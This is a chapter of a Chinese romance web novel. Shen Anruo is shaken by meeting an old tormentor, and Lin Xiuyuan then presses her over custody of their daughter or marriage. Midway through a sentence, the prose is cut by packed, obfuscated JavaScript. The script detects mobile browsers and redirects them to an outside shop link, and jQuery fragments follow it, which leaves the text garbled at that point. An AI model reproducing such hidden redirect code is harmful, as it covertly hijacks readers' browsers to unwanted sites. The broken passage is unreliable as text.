从车上下来的钟瑞峰,打开后座的门,温声叫沈安若:“安若,上车了,外头冷。” 钟瑞峰的声音将沈安若唤回些神,她想挪动腿,脚似挂着千斤重的铁块儿,不受她控制,抬都抬不起。 林修远看出她的不对劲,眉心又一皱,总不至于是见到旧情人,连道儿都走不动了。 他冷眼瞧她半晌,最终推门下车,不紧不慢走过来,攥住她的手腕,视旁人如空气,拉着她转身就走。 骆驰伸手拦人,上下打量林修远,明知故问:“你是哪位,我们老朋友叙叙旧,你一句话不说就把人带走是怎么回事儿?” 林修远只看沈安若,语气随意:“你和他很熟?” 沈安若对上他的目光,脸色又白了些,她摇头,勉强出声:“不熟。” 林修远心里冷嗤,在她嘴里,他就永远得不到一句实话,指腹碰到她手背的冰凉,微一顿,手腕转了方向,将她的手完全拢到掌心,攥紧了些,面无表情地推开拦在身前的胳膊。 骆驰岂会这么容易放人,他要拽回沈安若,钟瑞峰上前截住他,骆驰身后的那一帮人立马呼啦啦围上来。 深夜的街道,周边空无一人,路上连过往的车都没有,双方对峙的局面一触即发。 一对多,钟瑞峰面不改色地活动了活动手腕筋骨,脸上依旧是温和的笑,像是在闲话家常:“想打?那就一起上吧,都动作麻利点,警察来之前咱们争取结束。” 骆驰听到“警察”两个字,眉心闪过一丝暗沉,他打了个响指让人都退下,扬声对走远的人道:“小安若,我们到底熟不熟,你自己心里最清楚,我们还会再见面的,分开这么长时间,你不想我,我可是没一天不在想你。” 沈安若脚步滞了下,没回头,弯腰上了车,手也从握着她的掌心离开。 林修远的手懒懒搭到车门上,回过身,淡淡看骆驰一眼,神色平静,就像是在看一件无关紧要的死物。 骆驰脸上的笑收敛起,眼神渐露阴冷。 路上积雪严重,钟瑞峰车开得比平日里要慢很多,车厢内安静得听不到一丁点声响。 车后座的两人各倚着车门的一头,一个一目十行地翻着iPad上的文件,一个怔愣愣地看着车窗外,随意搁置在座椅中间的大衣如同一条泾渭分明的鸿沟,将两人一左一右地隔开。 车停在红灯前,钟瑞峰暼了眼后视镜,打开音响,调出些广播。 先是治疗不孕不育的广告,再按,是主持人亢奋地介绍着广大中年男人前列腺隐痛的福音,再按,出来了低缓的音乐。 轻轻靡靡的粤语,婉转低柔的嗓音,尤其适合在落雪的深夜听,钟瑞峰手指跟着节拍一下一下地点着方向盘。 沈安若对音乐声恍若未闻,她就算被车里的暖风吹着,身上还是觉得冷,指尖一直在轻微地颤着,她握得再紧都不管用。 那种颓然的无力在全身乱窜着,她以为她已经走出了过去那个烂泥谭,可骆驰对她的影响就像是刻在了她的骨髓里,再见他,还是摆脱不了他给过她的那些恐惧。 林修远视线停在平板,并未动,手拿过旁边的大衣,扔到她膝盖上,直接盖住她的手。 沈安若从车窗外收回目光,看一眼膝上的大衣,又看向他,想说不用,但她的手被软和的料子贴裹着,僵住的血液回缓了些温度,轻颤慢慢止住。 她现在不太想拒绝这份温暖,手指摩挲着大衣的内里,轻声道:“谢谢。” 林修远头也不抬,问得不甚在意:“那个男人是谁?” 沈安若指尖一顿,含糊回道:“不重要的人。” 一个疯子而已,她没想到他还敢再回国,还能这般招摇张狂,不知道是借了谁的倚仗。 林修远话里听不出是讽刺还是只简单陈述一个事实:“沈小姐招惹过的人可真是不少。” 沈安若不想在这个话题上深入,又道一次谢:“刚才的事情也要谢谢你。” 林修远回:“我还以为沈小姐又会嫌我多管闲事,再伸出手来一个一个给我数手指,让我自己看看我算老几。” 沈安若想到昨晚的醉态,苍白的脸上生出些热,装断片儿当听不懂:“什么意思?” 林修远抬眼看她:“不记得自己昨晚做过什么了?” 沈安若长睫忽闪:“我昨晚喝醉了,什么都不记得。” 林修远慢悠悠道:“沈小姐酒量不是很好,几杯酒下去就跟喝水一样,不像是轻易就能醉的样子。” 沈安若低下眼帘,看他大衣的扣子:“有时好有时不好,分时候。” 林修远语气如常,眼底压着冷:“是吗,这种体质我倒是头一回见,酒量好不好还分跟谁喝?” 沈安若假意敷衍:“跟亲近的人喝,心里放松,就会醉得快些。” 林修远扯了扯唇角,似是接受了这个说法,没再说什么,又看回文件。 沈安若觉出自己话里的不对,怕是他把这个亲近的人想成了贺怀章。 她不知道她的哪些行为让他误会成她和贺怀章在交往,如果他担心的是诺诺会有后爸的问题,她可以和他挑明,她以后都没有结婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580772|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的打算,他们也不必在这件事上再来回扯皮。 她还没开口,手机震动声响起,林修远看一眼屏幕,随手接通电话,沈安若到嘴边的话止住,一直到车开进小区内,他的电话都没有打完,她也没有找到再开口的时机。 她将膝盖上的大衣归置好,给他放到一旁,和钟叔低声道谢说再见,推门下了车。 下完雪后温度骤降,夜间更冷,沈安若腿脚还有些僵,踩在雪地里慢慢走着。 走到楼底的防盗门前,她抬手要握门把,身后有人走过来,先她一步拉开门,沈安若回身看他,肩膀似碰非碰地擦过他的肩,整个人依偎到他怀里,她目光闪了下,又看向前面,迈步进楼栋,走到门前,按下密码。 林修远叫住她:“沈小姐,我想过了,关于我们之间的事情,目前有两个方案。” 沈安若停住手,偏头看他,等着他继续说下去。 林修远开口道:“第一个方案,你想和谁交往,想和谁结婚,我都不会插手,但诺诺的抚养权要归我,我不想让我的女儿喊别人爸爸。” 他的语气太理所当然,沈安若就是有心想和他说清楚贺怀章的事情,现在也不愿再开口,她压下心里的恼怒,转身面向他,平静问:“你凭什么?” 林修远回:“大概就凭我手底下的律师团队不是养着他们吃白饭的。” 沈安若让自己看起来底气很足:“你以为我会怕上法院,你的律师团队再厉害也没用,法院也不是看谁有钱有势就把抚养权判给谁。” 林修远直接捏她软处:“你是不怕上法院,你会舍得诺诺小小年纪就看到爸爸妈妈在法院里对簿公堂的局面?” 沈安若被气笑,她仰头盯着他,慢慢道:“林修远,你可真卑鄙无耻。” 林修远心平气和:“你跟过我两年,我是什么样的人,我以为沈小姐会很清楚。” 她当然清楚他是什么样的人,要不然她也不会想要瞒下以前的事情,更不想轻易和他撕破脸。 骆驰是疯,可要论做事狠绝,他绝对要胜骆驰不止一筹。 她第一次后悔当初不该同意调去公司总部的事情,那时不过是想着他是死还是活,她总归要看上一眼,不成想埋下今日的祸端。 沈安若心往谷底坠,又不想让自己在他面前落了势,表面维持着镇定,手攥成拳。 林修远低头看她。 清凌凌的眸子里迸发出星星点点的火焰,已经没了刚才半死不活的灰败和颓废,脸颊生红,眼明亮,整个人看起来明艳又无所畏惧。 这或许才是她本来的样子,而不是像以前那样只知道装乖卖巧,装听话,装顺从,一味地哄骗他。 他慢条斯理道:“沈小姐要是不接受,也可以有第二个方案,把你身边那些乱七八糟的关系都断干净,我们尽快结婚。” 沈安若怔住。